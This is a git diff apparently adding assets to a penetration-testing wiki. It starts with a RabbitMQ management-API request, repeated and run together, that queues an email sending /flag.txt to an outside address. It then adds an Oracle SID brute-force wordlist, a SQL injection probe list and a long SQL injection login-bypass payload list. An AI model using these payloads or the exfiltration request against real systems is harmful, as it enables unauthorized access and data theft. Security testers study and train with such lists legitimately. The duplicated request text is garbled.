+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
+
diff --git a/.gitbook/assets/preflight.svg b/.gitbook/assets/preflight.svg
new file mode 100644
index 00000000000..cb816648fe9
--- /dev/null
+++ b/.gitbook/assets/preflight.svg
@@ -0,0 +1,57 @@
+
+
\ No newline at end of file
diff --git a/src/images/ram.png b/.gitbook/assets/ram.png
similarity index 100%
rename from src/images/ram.png
rename to .gitbook/assets/ram.png
diff --git a/src/images/raptor_oraexec.sql b/.gitbook/assets/raptor_oraexec.sql
similarity index 100%
rename from src/images/raptor_oraexec.sql
rename to .gitbook/assets/raptor_oraexec.sql
diff --git a/src/files/Reverse.tar (1).gz b/.gitbook/assets/reverse.tar.gz
similarity index 100%
rename from src/files/Reverse.tar (1).gz
rename to .gitbook/assets/reverse.tar.gz
diff --git a/src/images/runes.jpg b/.gitbook/assets/runes.jpg
similarity index 100%
rename from src/images/runes.jpg
rename to .gitbook/assets/runes.jpg
diff --git a/.gitbook/assets/sc_create.png b/.gitbook/assets/sc_create.png
new file mode 100644
index 00000000000..6fcd3048cc7
Binary files /dev/null and b/.gitbook/assets/sc_create.png differ
diff --git a/.gitbook/assets/sc_delete.png b/.gitbook/assets/sc_delete.png
new file mode 100644
index 00000000000..2fdd5b37a60
Binary files /dev/null and b/.gitbook/assets/sc_delete.png differ
diff --git a/.gitbook/assets/sc_psh_create.png b/.gitbook/assets/sc_psh_create.png
new file mode 100644
index 00000000000..4bfb0d00425
Binary files /dev/null and b/.gitbook/assets/sc_psh_create.png differ
diff --git a/.gitbook/assets/sc_psh_start.png b/.gitbook/assets/sc_psh_start.png
new file mode 100644
index 00000000000..aa2b86ee3c2
Binary files /dev/null and b/.gitbook/assets/sc_psh_start.png differ
diff --git a/.gitbook/assets/sc_start_error.png b/.gitbook/assets/sc_start_error.png
new file mode 100644
index 00000000000..1dc5bed6cc7
Binary files /dev/null and b/.gitbook/assets/sc_start_error.png differ
diff --git a/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (1).png b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (1).png
new file mode 100644
index 00000000000..eb261aac083
Binary files /dev/null and b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (1).png differ
diff --git a/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (2).png b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (2).png
new file mode 100644
index 00000000000..e919aae5295
Binary files /dev/null and b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (2).png differ
diff --git a/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (3).png b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (3).png
new file mode 100644
index 00000000000..f63efe61426
Binary files /dev/null and b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (3).png differ
diff --git a/.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png
new file mode 100644
index 00000000000..937d40ceef3
Binary files /dev/null and b/.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png differ
diff --git a/.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png b/.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png
new file mode 100644
index 00000000000..ef27f6ecd22
Binary files /dev/null and b/.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png differ
diff --git a/src/images/Screenshot from 2021-03-13 18-17-48.png b/.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png
similarity index 100%
rename from src/images/Screenshot from 2021-03-13 18-17-48.png
rename to .gitbook/assets/screenshot-from-2021-03-13-18-17-48.png
diff --git a/src/images/Screenshot from 2021-03-13 18-22-57 (1).png b/.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png
similarity index 100%
rename from src/images/Screenshot from 2021-03-13 18-22-57 (1).png
rename to .gitbook/assets/screenshot-from-2021-03-13-18-22-57.png
diff --git a/src/images/Screenshot from 2021-03-13 18-26-27 (1).png b/.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png
similarity index 100%
rename from src/images/Screenshot from 2021-03-13 18-26-27 (1).png
rename to .gitbook/assets/screenshot-from-2021-03-13-18-26-27.png
diff --git a/.gitbook/assets/sids-oracle.txt b/.gitbook/assets/sids-oracle.txt
new file mode 100644
index 00000000000..ecf01d8c816
--- /dev/null
+++ b/.gitbook/assets/sids-oracle.txt
@@ -0,0 +1,737 @@
+
+ADV1
+ADVCPROD
+AIX10
+AIX11
+AIX9
+APEX
+ARIS
+ASDB
+ASDB0
+ASDB1
+ASDB2
+ASDB3
+ASDB4
+ASDB5
+ASDB6
+ASDB7
+ASDB8
+ASDB9
+ASG817
+ASG817P
+ASG817T
+ATRPROD
+ATRTEST
+BLA
+BOOKS
+BUDGET
+C630
+CLRExtProc
+CTM4_0
+CTM4_1
+CTM4_6
+D
+D10
+D8
+D9
+DB
+DB01
+DB02
+DB03
+DB1
+DB2
+DB2EDU
+DB2PROD
+DB2TEST
+DB3
+DBA
+DBA1
+DBA2
+DBA3
+DBA4
+DBA5
+DBA6
+DBA7
+DBA8
+DBA9
+DBX
+DEMO
+DEV
+DEV0
+DEV01
+DEV1
+DEV2
+DEV3
+DEV4
+DEV5
+DEV6
+DEV7
+DEV8
+DEV9
+DEVEL
+DIA1
+DIA2
+DIS
+DWH
+DWHDB
+DWHPROD
+DWHTEST
+DWRHS
+EARTH
+ELCARO
+EMRS2
+EOF
+ERP
+ESOR
+FINDEC
+FINPROD
+FNDFS_HR1
+FNDFS_HR2
+FPRD
+GR01
+GR02
+GR03
+HCDMO
+HEDGEHOG
+HPUX10
+HPUX11
+HPUX9
+HR
+HR0
+HR1
+HR2
+HR3
+HR4
+HR5
+HR6
+HR7
+HR8
+HR9
+HRDMO
+hsagent
+HTMLDB
+IAGTS
+IASDB
+INCD
+ISD01
+ISD06
+ISP
+ISP01
+ISP1
+ISP2
+ISQ1
+ITS
+IXOS
+KRAUS
+KRONOS
+LDAP
+LIN10
+LIN11
+LIN9
+LINUX101
+LINUX1011
+LINUX1012
+LINUX1013
+LINUX1014
+LINUX1015
+LINUX102
+LINUX1021
+LINUX1022
+LINUX1023
+LINUX1024
+LINUX1025
+LINUX111
+LINUX11106
+LINUX11107
+LINUX112
+LINUX11201
+LINUX817
+LINUX8171
+LINUX8172
+LINUX8173
+LINUX8174
+LINUX901
+LINUX902
+LINUX9021
+LINUX9022
+LINUX9023
+LINUX9024
+LINUX9025
+LINUX9026
+LINUX9027
+LINUX9028
+LINUX92
+LINUX9208
+LUN
+MDTEST
+MSAM
+MV713
+MYDB
+NEDB
+NORTHWIND
+OAS
+OAS1
+OAS10
+OAS2
+OAS3
+OAS4
+OAS5
+OAS6
+OAS7
+OAS8
+OAS9
+ODB
+OEMREP
+OGDP
+OID
+OJS
+OMS
+ORA
+ORA1
+ORA10
+ORA101
+ORA10101
+ORA10101P
+ORA10101T
+ORA10102
+ORA10102P
+ORA10102T
+ORA10103
+ORA10103P
+ORA10103T
+ORA10104
+ORA10104P
+ORA10104T
+ORA10105
+ORA10105P
+ORA10105T
+ORA1011
+ORA1011P
+ORA1011T
+ORA1012
+ORA1012P
+ORA1012T
+ORA1013
+ORA1013P
+ORA1013T
+ORA1014
+ORA1014P
+ORA1014T
+ORA1015
+ORA1015P
+ORA1015T
+ORA1021
+ORA1021P
+ORA1021T
+ORA1022
+ORA1022P
+ORA1022T
+ORA1023
+ORA1023P
+ORA1023T
+ORA1024
+ORA1024P
+ORA1024T
+ORA1025
+ORA1025P
+ORA1025T
+ORA11
+ORA111
+ORA11106
+ORA11107
+ORA112
+ORA11201
+ORA11202
+ORA11g
+ORA2
+ORA3
+ORA4
+ORA5
+ORA6
+ORA7
+ORA8
+ORA805
+ORA806
+ORA815
+ORA816
+ORA817
+ORA8170
+ORA8170P
+ORA8170T
+ORA8171
+ORA8171P
+ORA8171T
+ORA8172
+ORA8172P
+ORA8172T
+ORA8173
+ORA8173P
+ORA8173T
+ORA8174
+ORA8174P
+ORA8174T
+ORA8_SC
+ORA9
+ORA910
+ORA920
+ORA9201
+ORA9201P
+ORA9201T
+ORA9202
+ORA9202P
+ORA9202T
+ORA9203
+ORA9203P
+ORA9203T
+ORA9204
+ORA9204P
+ORA9204T
+ORA9205
+ORA9205P
+ORA9205T
+ORA9206
+ORA9206P
+ORA9206T
+ORA9207
+ORA9207P
+ORA9207T
+ORA9208
+ORA9208P
+ORA9208T
+ORACL
+ORACLE
+ORADB
+ORADB1
+ORADB2
+ORADB3
+ORALIN
+ORCL
+ORCL0
+ORCL1
+ORCL10
+ORCL10G
+ORCL11
+ORCL11G
+ORCL2
+ORCL3
+ORCL4
+ORCL5
+ORCL6
+ORCL7
+ORCL8
+ORCL9
+ORCLA
+ORCLB
+ORCLC
+ORCLD
+ORCLE
+ORCLF
+ORCLG
+ORCLH
+ORCLI
+ORCLJ
+ORCLK
+ORCLL
+ORCLM
+ORCLN
+ORCLO
+ORCLP
+ORCLP0
+ORCLP1
+ORCLP2
+ORCLP3
+ORCLP4
+ORCLP5
+ORCLP6
+ORCLP7
+ORCLP8
+ORCLP9
+ORCLQ
+ORCLR
+ORCLS
+ORCLSOL
+ORCLT
+ORCLU
+ORCLV
+ORCLW
+ORCL.WORLD
+ORCLX
+ORCLY
+ORCLZ
+ORIONDB
+ORTD
+P
+P10
+P10G
+P8
+P8I
+P9
+P9I
+PD1
+PINDB
+PLSExtProc
+PORA10101
+PORA10102
+PORA10103
+PORA10104
+PORA10105
+PORA1011
+PORA1012
+PORA1013
+PORA1014
+PORA1015
+PORA1021
+PORA1022
+PORA1023
+PORA1024
+PORA1025
+PORA11106
+PORA11107
+PORA11201
+PORA11202
+PORA8170
+PORA8171
+PORA8172
+PORA8173
+PORA8174
+PORA9201
+PORA9202
+PORA9203
+PORA9204
+PORA9205
+PORA9206
+PORA9207
+PORA9208
+PRD
+PRITXI
+PROD
+PROD0
+PROD1
+PROD10
+PROD10G
+PROD11
+PROD11G
+PROD2
+PROD3
+PROD4
+PROD5
+PROD6
+PROD7
+PROD8
+PROD8I
+PROD9
+PROD920
+PROD9I
+PROG10
+QM
+QS
+RAB1
+RAC
+RAC1
+RAC2
+RAC3
+RAC4
+RDB
+RDS
+RECV
+REP
+REP0
+REP1
+REP2
+REP3
+REP4
+REP5
+REP6
+REP7
+REP8
+REP9
+REPO
+REPO0
+REPO1
+REPO2
+REPO3
+REPO4
+REPO5
+REPO6
+REPO7
+REPO8
+REPO9
+REPOS
+REPOS0
+REPOS1
+REPOS2
+REPOS3
+REPOS4
+REPOS5
+REPOS6
+REPOS7
+REPOS8
+REPOS9
+REPSCAN
+RIPPROD
+RITCTL
+RITDEV
+RITPROD
+RITQA
+RITTRN
+RITTST
+SA0
+SA1
+SA2
+SA3
+SA4
+SA5
+SA6
+SA7
+SA8
+SA9
+SAA
+SAB
+SAC
+SAD
+SAE
+SAF
+SAG
+SAH
+SAI
+SAJ
+SAK
+SAL
+SALES
+SAM
+SAMPLE
+SAN
+SANIPSP
+SAO
+SAP
+SAP0
+SAP1
+SAP2
+SAP3
+SAP4
+SAP5
+SAP6
+SAP7
+SAP8
+SAP9
+SAPHR
+SAQ
+SAR
+SAS
+SAT
+SAU
+SAV
+SAW
+SAX
+SAY
+SAZ
+SDB
+SENTRIGO
+SES
+SGNT
+SID0
+SID1
+SID2
+SID3
+SID4
+SID5
+SID6
+SID7
+SID8
+SID9
+SIP
+SOL10
+SOL11
+SOL9
+STAG1
+STAG2
+T1
+T10
+T101
+T102
+T2
+T3
+T4
+T7
+T71
+T72
+T73
+T8
+T80
+T81
+T82
+T9
+T91
+T92
+TEST
+TEST10G
+TEST11G
+TEST9I
+TESTORCL
+THUMPER
+TRC28
+TRIUMF
+TSH1
+TSM
+TST
+TST0
+TST1
+TST2
+TST3
+TST4
+TST5
+TST6
+TST7
+TST8
+TST9
+TYCP
+UNIX101
+UNIX1011
+UNIX1012
+UNIX1013
+UNIX1014
+UNIX1015
+UNIX102
+UNIX1021
+UNIX1022
+UNIX1023
+UNIX1024
+UNIX1025
+UNIX817
+UNIX8171
+UNIX8172
+UNIX8173
+UNIX8174
+UNIX901
+UNIX902
+UNIX9021
+UNIX9022
+UNIX9023
+UNIX9024
+UNIX9025
+UNIX9026
+UNIX9027
+UNIX9028
+V713
+VENOM
+VENU
+VISTA
+W101
+W1011
+W1012
+W1013
+W1014
+W1015
+W102
+W1021
+W1022
+W1023
+W1024
+W1025
+W111
+W11102
+W11106
+W11107
+W112
+W11201
+W817
+W8171
+W8172
+W8173
+W8174
+W901
+W902
+W9021
+W9022
+W9023
+W9024
+W9025
+W9026
+W9027
+W9028
+WEB
+WEB1
+WEB10
+WEB2
+WEB3
+WEB4
+WEB5
+WEB6
+WEB7
+WEB8
+WEB9
+WEBDEV
+WG73
+WG73
+WIN101
+WIN1011
+WIN1012
+WIN1013
+WIN1014
+WIN1015
+WIN102
+WIN1021
+WIN1022
+WIN1023
+WIN1024
+WIN1025
+WIN11
+WIN111
+WIN11106
+WIN11107
+WIN112
+WIN11201
+WIN11202
+WIN7
+WIN817
+WIN8171
+WIN8172
+WIN8173
+WIN8174
+WIN901
+WIN902
+WIN9021
+WIN9022
+WIN9023
+WIN9024
+WIN9025
+WIN9026
+WIN9027
+WIN9028
+WINDOWS101
+WINDOWS1011
+WINDOWS1012
+WINDOWS1013
+WINDOWS1014
+WINDOWS1015
+WINDOWS102
+WINDOWS1021
+WINDOWS1022
+WINDOWS1023
+WINDOWS1024
+WINDOWS1025
+WINDOWS11
+WINDOWS111
+WINDOWS11106
+WINDOWS11107
+WINDOWS112
+WINDOWS11201
+WINDOWS11202
+WINDOWS817
+WINDOWS8171
+WINDOWS8172
+WINDOWS8173
+WINDOWS8174
+WINDOWS901
+WINDOWS902
+WINDOWS9021
+WINDOWS9022
+WINDOWS9023
+WINDOWS9024
+WINDOWS9025
+WINDOWS9026
+WINDOWS9027
+WINDOWS9028
+XE
+XEXDB
+XE_XPT
diff --git a/.gitbook/assets/smbexec_prompt.png b/.gitbook/assets/smbexec_prompt.png
new file mode 100644
index 00000000000..88945a8645b
Binary files /dev/null and b/.gitbook/assets/smbexec_prompt.png differ
diff --git a/.gitbook/assets/smbexec_service.png b/.gitbook/assets/smbexec_service.png
new file mode 100644
index 00000000000..674088bd5cd
Binary files /dev/null and b/.gitbook/assets/smbexec_service.png differ
diff --git a/src/images/SNMP_OID_MIB_Tree (1).png b/.gitbook/assets/snmp_oid_mib_tree.png
similarity index 100%
rename from src/images/SNMP_OID_MIB_Tree (1).png
rename to .gitbook/assets/snmp_oid_mib_tree.png
diff --git a/.gitbook/assets/sqli-1.txt b/.gitbook/assets/sqli-1.txt
new file mode 100644
index 00000000000..3952738e252
--- /dev/null
+++ b/.gitbook/assets/sqli-1.txt
@@ -0,0 +1,49 @@
+true
+1
+1>0
+2-1
+0+1
+1*1
+1%2
+1=1
+1 & 1
+1&1
+1 && 2
+1&&2
+-1 || 1
+|1||1
+-1 oR 1
+1 aND 1
+1 LikE 1
+(1)oR(1)
+(1)aND(1)
+(1)LikE(1)
+-1/**/oR/**/1
+1/**/aND/**/1
+1/**/LikE/**/1
+1'
+1'>'0
+2'-'1
+0'+'1
+1'*'1
+1'%'2
+1'='1
+1'&'1
+1'&&'2
+-1'||'1
+-1'oR'1
+1'aND'1
+1'LikE'1
+1"
+1">"0
+2"-"1
+0"+"1
+1"*"1
+1"%"2
+1"="1
+1"&"1
+1"&&"2
+-1"||"1
+-1"oR"1
+1"aND"1
+1"LikE"1
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-big.txt b/.gitbook/assets/sqli-authbypass-big.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-big.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or 0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
